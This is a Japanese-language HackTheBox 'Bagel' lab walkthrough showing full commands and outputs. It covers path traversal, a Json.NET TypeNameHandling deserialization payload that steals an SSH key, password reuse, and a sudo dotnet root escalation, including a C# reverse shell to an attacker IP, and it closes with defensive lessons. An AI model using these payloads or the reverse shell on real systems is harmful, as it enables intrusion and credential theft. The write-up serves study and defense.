HackTheBox: Bagel — 全実行コマンド・実行結果レポート
Nmap スキャン
22/5000/8000
→
22/5000/8000
?page= ファイル読取
/etc/passwd, /proc/self/cmdline
→
/etc/passwd, /proc/self/cmdline
app.py ソース入手
WebSocket接続先を特定
→
WebSocket接続先を特定
JSON型混同攻撃
TypeNameHandling=Auto悪用
→
TypeNameHandling=Auto悪用
RemoveOrder→File型注入
任意ファイル読取
→
任意ファイル読取
phil SSH鍵窃取
user.txt ✓
→
user.txt ✓
bagel.dll解析
DB接続文字列パスワード発見
→
DB接続文字列パスワード発見
developer→sudo dotnet
NOPASSWD
→
NOPASSWD
root shell
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.228.247 nmap -Pn -sV -sC -p 22,5000,8000 10.129.228.247
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.8 (protocol 2.0) 5000/tcp open upnp? | fingerprint-strings: | GetRequest: | HTTP/1.1 400 Bad Request | Server: Microsoft-NetCore/2.0 8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
🚨
興味深い構成: 5000番ポートは
Microsoft-NetCore — Linux上で
.NETサーバーが稼働している。8000番はFlask(Werkzeug)。2つの異なるスタックのWebアプリが
連携している構成と推測できる。
Web調査 — bagel.htb を発見
BASH
curl -sI http://10.129.228.247:8000/
RESULT
HTTP/1.1 302 FOUND
Location: http://bagel.htb:8000/?page=index.html
BASH
echo "10.129.228.247 bagel.htb" | sudo tee -a /etc/hosts curl -s http://bagel.htb:8000/orders
RESULT
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels] order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels] order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]
ℹ️
?page=index.html という表記は本来PHPのinclude系実装で
よく見るパターン(実際はFlask/Werkzeugであることがヘッダーから分かる)。
パラメータ名pageがファイルパスをそのまま扱っている可能性を疑い、
次のフェーズでファイル読取(パストラバーサル)を試す。
PHASE 2
?page= パラメータの任意ファイル読取 & アプリソース入手
パストラバーサルの確認
BASH
curl "http://bagel.htb:8000/?page=../../../../etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash ... developer:x:1000:1000::/home/developer:/bin/bash phil:x:1001:1001::/home/phil:/bin/bash
✅
任意ファイル読取確認。
pageパラメータにサニタイズなしで
パストラバーサルが可能。developerとphilという2人のユーザーが確認できる。
/proc/self を使ってアプリのソースパスを特定
BASH
# /proc/self/cmdline は現在のプロセスの実行コマンドライン(null区切り)を返す curl -s "http://bagel.htb:8000/?page=../../../../proc/self/cmdline" | tr '\000' ' '
RESULT
python3 /home/developer/app/app.py
BASH
curl -s "http://bagel.htb:8000/?page=../../../../home/developer/app/app.py"
RESULT (app.py 抜粋)
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket, json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
...
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order():
# don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/")
order = {"ReadOrder": "orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return (json.loads(result)['ReadOrder'])
except:
return ("Unable to connect")
🚨
重要発見:
/ordersルートは、5000番ポートで動く.NETサーバーに
WebSocketで接続し {"ReadOrder": "orders.txt"} を送信、結果の
ReadOrderキーを返している。この.NETサーバーそのものが次の攻撃対象。
PHASE 3
WebSocket (port 5000) の挙動解析
wscat / websocket-client で直接通信
BASH
# npm install -g wscat でもよいが、Pythonの websocket-client でも同様に扱える
python3 -c "
import websocket, json
ws = websocket.create_connection('ws://bagel.htb:5000/')
ws.send(json.dumps({'ReadOrder': 'orders.txt'}))
print(ws.recv())
ws.close()
"
RESULT
{"UserId":0,"Session":"Unauthorized","Time":"2:02:30",
"RemoveOrder":null,"WriteOrder":null,
"ReadOrder":"order #1 address: NY. 99 Wall St., ... \n order #2 ... \n order #3 ... \n"}
ℹ️
応答JSONには
ReadOrder のほか WriteOrder・RemoveOrder
というフィールドも存在する。それぞれ送信してみると挙動が異なることが分かる:
WriteOrderはorders.txtへの書込み({"WriteOrder":"任意の文字列"})、
RemoveOrderは送った値をそのまま素通りで返すだけ(削除処理は起きない)。
ReadOrder のパストラバーサル対策を確認 → 迂回不可
BASH
# {"ReadOrder": "../../../../../../etc/passwd"} → "Order not found!"
# {"ReadOrder": "o..rd/er..s//.txt"} → "0xdf was here" (=orders.txt の内容)
# つまり "." と "/" が問答無用で全て除去された後にファイルを開いている
⚠️
ReadOrder経由では.と/が完全に除去されるため、
素直なパストラバーサルは通らない。しかし後述の通り、この除去処理は
ReadOrderプロパティのsetterの中だけで行われている実装であり、
別の経路から直接ファイル読取クラスを呼び出せば素通りするという設計上の欠陥がある。
bagel.dll の入手 (dotnet プロセスの探索)
NOTE
app.pyのコメントに"dotnet <path to .dll>"と実行方法が書かれている通り、 5000番ポートのサーバーは dotnet プロセスとして起動している。前フェーズの ファイル読取(?page=)を使い、/proc/<pid>/cmdline を総当たりして dotnetを実行しているPIDとそのDLLパスを特定する。
BASH
# ffuf の場合: <(seq 1 30000) を疑似ワードリストとして使い "dotnet" を含む応答だけ抽出 ffuf -u "http://bagel.htb:8000/?page=../../../../proc/FUZZ/cmdline" \ -w <(seq 1 30000) -mr 'dotnet'
RESULT
890 [Status: 200] → dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
BASH
curl -s "http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll" \ -o bagel.dll
ℹ️
dnSpy等の.NETデコンパイラでbagel.dllを開くと、
Handler.Deserializeが
Newtonsoft.Json (Json.NET)のDeserializeObject<Base>(json,
new JsonSerializerSettings { TypeNameHandling = 4 /* Auto */ })
でJSONをデシリアライズしていることが分かる。TypeNameHandling=Autoは
JSON内に$typeキーで型を明示すると、宣言された型と異なるクラスへの
逆シリアライズを許してしまう既知の危険な設定。
PHASE 4
TypeNameHandling=Auto を悪用した多態的逆シリアライズ攻撃
脆弱性の仕組み
NOTE
逆コンパイル結果から判明したクラス構造(抜粋):
Orders.ReadOrder (setter):
order_filename = value.Replace("/","").Replace("..",""); ← "." "/" 除去
this.file.ReadFile = order_filename;
Orders.RemoveOrder:
public object RemoveOrder { get; set; } ← 自動実装プロパティ、フィルタ皆無!
File.ReadFile (setter):
this.filename = value; ← フィルタなしでそのまま代入
this.ReadContent(this.directory + this.filename);
RemoveOrderはobject型で、getter/setterに一切のフィルタリングロジックが
実装されていない(自動生成プロパティ)。ここに直接 File オブジェクトを
"$type"指定で注入すれば、ReadOrderの"." "/"除去ロジックを完全に迂回して
File.ReadFileのsetterへ任意の値を渡せる。
ペイロード構築 & /etc/passwd での検証
PYTHON
import websocket, json
def ws_read(path, up=6):
traversal = "../" * up + path.lstrip("/")
payload = json.dumps({
"RemoveOrder": {
"$type": "bagel_server.File, bagel", # Namespace.ClassName, AssemblyName
"ReadFile": traversal
}
})
ws = websocket.create_connection("ws://bagel.htb:5000/", timeout=15)
ws.send(payload)
raw = ws.recv()
ws.close()
return json.loads(raw)["RemoveOrder"]["ReadFile"]
print(ws_read("etc/passwd"))
RESULT
root:x:0:0:root:/root:/bin/bash ... developer:x:1000:1000::/home/developer:/bin/bash phil:x:1001:1001::/home/phil:/bin/bash
✅
成功!
RemoveOrder経由でFileクラスを直接生成し、
.や/のフィルタを完全に迂回して任意ファイル読取を実現。
アセンブリ名 bagel は [System.Reflection.AssemblyName]::GetAssemblyName('bagel.dll')
(PowerShell)や dnSpy のアセンブリ情報から確認できる。
プロセス情報から phil の SSH秘密鍵を特定
BASH
# WebSocketサーバー(port 5000)自身のプロセス情報を読む
python3 -c "from x import ws_read; print(ws_read('proc/self/environ'))"
# → HOME=/home/phil, USER=phil ... (5000番のプロセスは phil 権限で稼働)
PYTHON
print(ws_read("home/phil/.ssh/id_rsa"))
RESULT
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn... -----END OPENSSH PRIVATE KEY-----
✅
SSH秘密鍵を取得! port 5000のWebSocketサーバーはユーザー
philの
権限で動作しているため、/proc/self/environから実行ユーザーを特定し、
そのホームディレクトリの.ssh/id_rsaをそのまま読み出せる。
PHASE 5
SSH ログイン & user.txt 取得
窃取した鍵で phil としてSSHログイン
BASH
chmod 600 phil_id_rsa ssh -i phil_id_rsa phil@bagel.htb
RESULT
phil@bagel:~$ cat user.txt
46126dadad66b499e7fcfcc291bec6e2
user.txt — phil
46126dadad66b499e7fcfcc291bec6e2
PHASE 6
bagel.dll のDB資格情報 → developer → NOPASSWD dotnet → root.txt
bagel.dll 内の未使用DBクラスから平文パスワードを発見
BASH
# Phase 3-3 で入手済みの bagel.dll を再利用 strings -e l bagel.dll | grep -i password strings -a bagel.dll | grep -i password
RESULT (逆コンパイル/文字列抽出結果)
// DB クラス (未使用・実装未完了とコメントあり)
string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
🚨
資格情報の使い回しを推測: このDB接続文字列自体は未使用のコードだが、
パスワード
k8wdAYYKyhnjg3K がシステムユーザーdeveloperの
パスワードとして再利用されている可能性を試す。
developer へスイッチし sudo 権限を確認
BASH
phil@bagel:~$ su - developer Password: k8wdAYYKyhnjg3K developer@bagel:~$ sudo -l
RESULT
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
✅
パスワード再利用が的中! さらに
developerは
/usr/bin/dotnetをパスワード無しでroot権限実行できる。
dotnetのSDKコマンドは非常に多機能(ビルド・実行・F#インタラクティブ等)なため、
任意コード実行に直結する。
最短ルート: dotnet fsi (F# Interactive) でシェル起動
BASH
developer@bagel:~$ sudo dotnet fsi
RESULT
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
> System.Diagnostics.Process.Start("bash").WaitForExit();;
RESULT
[root@bagel developer]# id
uid=0(root) gid=0(root) groups=0(root)
ℹ️
dotnet fsi(F# Interactive)は対話環境でC#/.NETライブラリを
直接呼び出せるため、System.Diagnostics.Process.Start("bash").WaitForExit();;
(末尾の;;はF#の文末区切り)一発でシェルを起動できる、最も手軽な手法。
代替ルート: 最小 .NET コンソールプロジェクトでリバースシェル
NOTE
非対話環境(パイプ経由のSSHコマンド実行など)で fsi の対話プロンプトを 扱いにくい場合は、リバースシェルを埋め込んだ最小限の.NETプロジェクトを 生成して sudo dotnet run で実行する方が確実。今回のライブ検証でも この方式を採用した。
BASH
mkdir -p /tmp/shell && cd /tmp/shell
cat > shell.csproj <<'EOF'
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
</PropertyGroup>
</Project>
EOF
cat > shell.cs <<'EOF'
using System;
using System.Diagnostics;
namespace BackConnect {
class ReverseBash {
public static void Main(string[] args) {
Process proc = new Process();
proc.StartInfo.FileName = "/bin/bash";
proc.StartInfo.Arguments = "-c \"/bin/bash -i >& /dev/tcp/10.10.15.201/9090 0>&1\"";
proc.StartInfo.UseShellExecute = false;
proc.Start();
}
}
}
EOF
sudo /usr/bin/dotnet run
RESULT (Kali側リスナー)
$ nc -lnvp 9090
listening on [any] 9090 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.228.247] 44040
bash: cannot set terminal process group: Inappropriate ioctl for device
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root)
root.txt 取得
BASH
bash-5.1# cat /root/root.txt
RESULT
0902e0907915ca63bf39cbdee0ec91c7
root.txt — Administrator@bagel
0902e0907915ca63bf39cbdee0ec91c7
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — phil
46126dadad66b499e7fcfcc291bec6e2
root.txt — Administrator@bagel
0902e0907915ca63bf39cbdee0ec91c7
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| パストラバーサル (任意ファイル読取) | Flask ?page= パラメータ |
アプリソースコード・/procの漏洩 | High | サニタイズ皆無のファイルパス連結で app.py ソースと bagel.dll を入手 |
| insecure deserialization (TypeNameHandling=Auto) | WatsonWsServer (.NET, port 5000) | 任意ファイル読取(SSH秘密鍵窃取) | Critical | フィルタなしのRemoveOrderプロパティへ$typeでFileクラスを注入し、意図した検証を完全に迂回 |
| 認証情報の使い回し | 未使用DBクラスの接続文字列パスワード | 横展開 (phil→developer) | High | コード内に残置されたDB接続文字列のパスワードがOSユーザーパスワードとして再利用 |
| 危険な sudo 許可 | /usr/bin/dotnet NOPASSWD |
権限昇格 (developer→root) | Critical | dotnet SDKはfsiやrunなど任意コード実行手段を多数内包しGTFOBins的に悪用可能 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/SSH、5000/.NET、8000/Flask を確認 |
| 2 | ファイル読取 | ?page=パストラバーサル | app.pyソース入手、WebSocket連携先(5000番)を特定 |
| 3 | DLL解析 | /proc/<pid>/cmdline総当たり+デコンパイル | bagel.dll入手、TypeNameHandling=Auto脆弱性発見 |
| 4 | RCE(ファイル読取) | RemoveOrder経由のFile型注入 | phil SSH秘密鍵窃取 |
| 5 | foothold | SSHログイン | user.txt 取得 |
| 6 | 権限昇格 | DBパスワード再利用+NOPASSWD dotnet | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Webフレームワークのファイル配信パラメータがサニタイズ皆無 | ユーザー入力をファイルパスへ直接連結せず、許可済みファイル名のホワイトリスト方式に限定する。os.path.realpathで正規化後、想定ディレクトリ配下かを検証する。 |
Newtonsoft.Jsonで TypeNameHandling=Auto/All を使用 |
信頼できない入力のデシリアライズにはTypeNameHandlingを使わない(既定のNoneのまま)。どうしても必要な場合はSerializationBinderで許可クラスを厳格に制限する。 |
| 未使用・未完成のコードにDB接続文字列とパスワードが平文で残置 | 使われないコードは削除し、資格情報はソースへ埋め込まずシークレット管理サービスから取得する。デッドコードのコードレビューを徹底する。 |
| パスワードの使い回し(DB接続文字列↔OSアカウント) | 用途ごとに異なるパスワードを発行し、パスワードマネージャー/シークレットローテーションを導入する。 |
| 強力なSDKツール(dotnet)をNOPASSWD sudoで許可 | sudo許可は必要最小限のサブコマンド・引数に絞る(sudoeditや引数固定のラッパースクリプト経由にする)。GTFOBins等で悪用可能性を事前に確認する。 |

